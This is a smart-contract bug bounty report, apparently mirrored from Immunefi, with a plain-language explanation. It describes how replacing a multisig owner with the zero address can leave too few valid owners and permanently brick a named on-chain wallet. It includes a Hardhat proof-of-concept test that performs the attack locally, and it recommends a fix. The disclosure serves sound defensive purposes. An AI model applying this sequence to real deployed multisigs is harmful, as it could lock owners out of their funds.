Multisig Contract onChain can be bricked
The Multisig contract allows an owner to be replaced with the zero address, which reduces the number of valid owners below the required signature threshold. An attacker with owner privileges could brick the contract, preventing any further transactions or owner changes.
Originally disclosed on Immunefi
- Disclosed after under an hour
26520 - [SC - Insight] Multisig Contract onChain can be bricked
Submitted on Dec 4th 2023 at 12:26:36 UTC by @copperscrewer for Boost | DeGate
Report ID: #26520
Report type: Smart Contract
Report severity: Insight
Target: https://etherscan.io/address/0x2028834B2c0A36A918c10937EeA71BE4f932da52#code
Impacts:
- Contract fails to deliver promised returns, but doesn't lose value
Description
Bug Description
The Multisig contract, on a series of actions can be bricked. As it cannot execute anymore actions and fails to satisfy an Invariant ( length of owners is equal or greater than required signatures)
Impact
Multisig cannot execute any transaction, cannot add, remove Owners as the contract becomes unusable
Risk Breakdown
Difficulty to Exploit: Easy Weakness: CVSS2 Score:6.9
Recommendation
Add a notNull modifier to replaceOwner
Proof of concept
steps to reproduce As we are testing the Gnosis Multisig, that works independently to the L2 contracts, we can test just this contract while replicating the Owners and required state.
Create an empty folder.
npx hardhat init
To create a project with directories like contracts, test
copy paste contract code from https://etherscan.io/address/0x2028834B2c0A36A918c10937EeA71BE4f932da52?utm\\_source=immunefi#code
to gnosis.sol in contracts folder
change compiler version or directly paste this in module exports in hardhat config.js This is done since the Gnosis multisig contract uses an old version of solidity solidity: { compilers: [ { version: "0.4.22", }, { version: "0.8.19", settings: {}, }, ], },
paste following test script in test folder and run npx hardhat test test/gnosis.js\
const {ethers} = require("hardhat")
const {expect, assert} = require("chai")
var gnosis
let owners, deployer
describe("ReplaceOwner bug", function()
{
before(async function(){
owners = (await ethers.getSigners()).slice(0,6)
deployer = owners[0]
})
context("Setup Contract (4/6 multisig) ", () => {
it("Should deploy with 6 owners, 4 required ", async function(){
let gnosisF = await ethers.getContractFactory("MultiSigWallet", deployer)
gnosis = await gnosisF.deploy(
owners,
4
);
expect(await gnosis.required()).to.eq(4);
expect( (await gnosis.getOwners() ).length).to.eq(6);
})
})
context("Bug proof of concept", () => {
it("Should remove two owners", async function(){
let ABI = [
"function transfer(address to, uint amount)",
"function removeOwner(address owner)"
];
let iface = new ethers.Interface(ABI);
data = iface.encodeFunctionData("removeOwner", [ owners[owners.length - 1].address, ] )
//one owner proposes an action through submitTransaction and the others
//adhere through confirmTransaction
// remove one owner [CODE START]
await gnosis.submitTransaction(
await gnosis.getAddress(), //destination
0, //value
data //data
)
for( i=1; i<=3; i++)
{
signer = owners[i];
await gnosis.connect(signer).confirmTransaction(
0 //transaction id
);
}
expect((await gnosis.getOwners()).length).to.eq(5)
// remove one owner [CODE END]
// remove another owner [CODE START]
data = iface.encodeFunctionData("removeOwner", [ owners[owners.length - 2].address, ] )
await gnosis.submitTransaction(
await gnosis.getAddress(), //destination
0, //value
data //data
)
for( i=1; i<=3; i++)
{
signer = owners[i];
await gnosis.connect(signer).confirmTransaction(
1 //transaction id
);
}
expect((await gnosis.getOwners()).length).to.eq(4)
// remove another owner [CODE END]
})
it("Should replace an Owner with zero address", async function(){
let ABI = [
"function transfer(address to, uint amount)",
"function replaceOwner(address owner, address newOwner)"
];
let iface = new ethers.Interface(ABI);
data = iface.encodeFunctionData("replaceOwner", [ owners[2].address, '0x0000000000000000000000000000000000000000'] )
await gnosis.submitTransaction(
await gnosis.getAddress(), //destination
0, //value
data //data
)
for( i=1; i<=3; i++)
{
signer = owners[i];
await gnosis.connect(signer).confirmTransaction(
2 //transaction id
);
}
expect(await gnosis.required()).to.eq(4);
expect((await gnosis.getOwners()).length).to.eq(4);
console.log("Owners are ", await gnosis.getOwners() );
console.log("Required amount of signatures are ", await gnosis.required() );
})
})
})
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The replaceOwner function does not check that the new owner address is not the zero address, allowing the owner count to drop below the required threshold.
Impact
The multisig contract becomes unusable: it cannot execute any transaction, add or remove owners, effectively bricking it.
What the attacker needed
Owner privileges in the multisig; ability to submit and confirm transactions
How it was found
- Deploy a multisig contract with 6 owners and 4 required signatures.
- Remove two owners by submitting and confirming removeOwner transactions, reducing the owner count to 4.
- Submit a replaceOwner transaction to replace an existing owner with the zero address.
- Confirm the transaction with enough signatures to execute it.
- Observe that the owner count is now 4 but one is the zero address, so only 3 valid owners remain, which is less than the required 4.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A multisig contract is a digital wallet that requires multiple people (owners) to approve a transaction before it can happen. This report shows that if one of those owners is replaced with an empty address (the zero address), the wallet can end up with fewer real owners than the number of approvals needed, so it can never approve anything again. The wallet becomes permanently stuck.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.